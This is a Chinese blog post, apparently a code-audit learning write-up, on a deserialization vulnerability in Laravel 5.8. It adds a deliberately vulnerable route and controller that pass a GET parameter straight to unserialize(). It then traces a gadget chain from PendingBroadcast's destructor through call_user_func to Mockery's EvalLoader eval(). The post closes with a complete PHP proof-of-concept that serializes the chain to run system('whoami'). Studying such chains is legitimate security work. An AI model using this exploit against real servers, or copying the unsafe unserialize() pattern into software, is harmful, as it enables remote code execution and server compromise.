当前位置: 代码迷 >> 综合 >> laravel5.8反序列化漏洞(详细)
  详细解决方案

laravel5.8反序列化漏洞(详细)

热度:94   发布时间:2023-12-05 16:57:27.0

#laravel5.8反序列化漏洞

添加反序列化入口点

添加路由

在routes/web.php中添加一条路由,这样就可以配合控制器传参了在http://127.0.0.1/la5.8/public/unserialize?c中传参了

Route::get("/unserialize","\App\Http\Controllers\DemoController@unserialize");

添加控制器

在app/http/controllers目录下创建控制器,即添加一个为unController.php的文件(文件名自己起,但要于路由中的对应)

<?phpnamespace App\Http\Controllers;class unController extends Controller
{
    public function unserialize(){
    if(isset($_GET['c'])){
    $code=$_GET['c'];unserialize($code);}else{
    highlight_file(__FILE__);}return "your controller is successful";}}

漏洞分析

__destruct()

在Illuminate\Broadcasting\PendingBroadcast.php中

 public function __destruct()    //漏洞入口{
    $this->events->dispatch($this->event);}

跟踪dispatch()函数

在Illuminate\Bus\Dispatcher.php中

public function dispatch($command){
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
          //$command要属于ShouldQueue 类return $this->dispatchToQueue($command);}return $this->dispatchNow($command);}

跟踪dispatchToQueue()函数

在Illuminate\Bus\Dispatcher.php中

public function dispatchToQueue($command){
    $connection = $command->connection ?? null;$queue = call_user_func($this->queueResolver, $connection);if (! $queue instanceof Queue) {
    throw new RuntimeException('Queue resolver did not return a Queue implementation.');}if (method_exists($command, 'queue')) {
    return $command->queue($queue, $command);}return $this->pushCommandToQueue($queue, $command);}

发现危险函数call_user_func()!,想办法利用此函数,回溯dispatch()

发现
$this->queueResolver可以直接控制
而
$this->commandShouldBeQueued($command)在
判断$command是否是继承接口ShouldQueue类的实例化
protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

所以找一个继承接口ShouldQueue的类,如Illuminate\Foundation\Console\QueuedCommand.php中的QueuedCommand类,将其实例化赋值给$command, 即为$this->event=new QueuedCommand();

class QueuedCommand implements ShouldQueue
//implents: 接口
{
    use Dispatchable, Queueable;/*** The data to pass to the Artisan command.** @var array*/protected $data;/*** Create a new job instance.** @param array $data* @return void*/

到了现在我们就可以控制任意类中的任意函数了

寻找危险函数 eval()

在Mockery\Loader\EvalLoader.php中发现危险函数eval()

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition){
    if (class_exists($definition->getClassName(), false)) {
    //class_exists():检测是否存在改该类名 return;}eval("?>" . $definition->getCode());  //eval危险函数,只要能控制$definition->getClassName()和$definition->getCode()就可以执行命令了}
}

###跟踪getcode()和getclassname()

getcode()和getname() 在Mockery\Generator\MockDefinition.php中


<?php
namespace Mockery\Generator;
class MockDefinition
{
    protected $config;protected $code;public function getClassName(){
    return $this->config->getName();}public function getCode(){
    return $this->code;}
}

getcode()可以直接控制

###跟进getname()

位于line.php

<?php declare(strict_types=1);namespace PhpParser\Node\Scalar\MagicConst;use PhpParser\Node\Scalar\MagicConst;class Line extends MagicConst
{
    public function getName() : string {
    return '__LINE__';}public function getType() : string {
    return 'Scalar_MagicConst_Line';}
}

因为不存在__LINE__的类名,可以直接利用

poc

核心:控制getcode()

$this->code="<?php echo system('whoami'); exit(); ?>";
//执行系统命令
<?php
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;use Illuminate\Foundation\Console\QueuedCommand;class PendingBroadcast{
    protected $events;protected $event;public function __construct(){
    $this->events=new Dispatcher();$this->event=new QueuedCommand();}}
}
namespace Illuminate\Foundation\Console{
    use Mockery\Generator\MockDefinition;class QueuedCommand{
    public $connection;public function __construct(){
    $this->connection=new MockDefinition();}}
}namespace Mockery\Generator{
    class MockDefinition{
    protected $config;protected $code;public function __construct(){
    $this->code="<?php echo system('whoami'); exit(); ?>";$this->config=new MockConfiguration();}}class MockConfiguration{
    }
}namespace Illuminate\Bus{
    use Mockery\Loader\EvalLoader;class Dispatcher{
    protected $queueResolver;public function __construct(){
    $this->queueResolver=[new EvalLoader(),'load'];//$this->queueResolver=array(new EvalLoader(),'load'); //数组}}
}namespace Mockery\Loader{
    class EvalLoader{
    }
}namespace{
    use Illuminate\Broadcasting\PendingBroadcast;echo urlencode(serialize(new PendingBroadcast()));
}

思考

为何要将$queueResolver赋值为数组呢?

#关于$this->queueResolver=[new EvalLoader(),'load'];的测试
<?phpclass k4{
    public function test($a){
    $c=1+$a;echo $c;}}
$c=2;
$b=[new k4(),'test'];
call_user_func($b,2);
//输出 3
根据测试可知因为call_uer_func()的第一个参数必须为函数,所以将$queueResolver赋值为数组是要调用EvaLoade类中的load()函数

总结

才入手代码审计学习

1,全局变量
2,路由
3,MVC中的控制器
4,call_user_func()的利用
5,命名空间
6,注释标记
7,use操作符

参考文章

https://so4ms.top/index.php/2021/07/23/laravel5-8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#toc-head-3

https://rainy-autumn.top/archives/792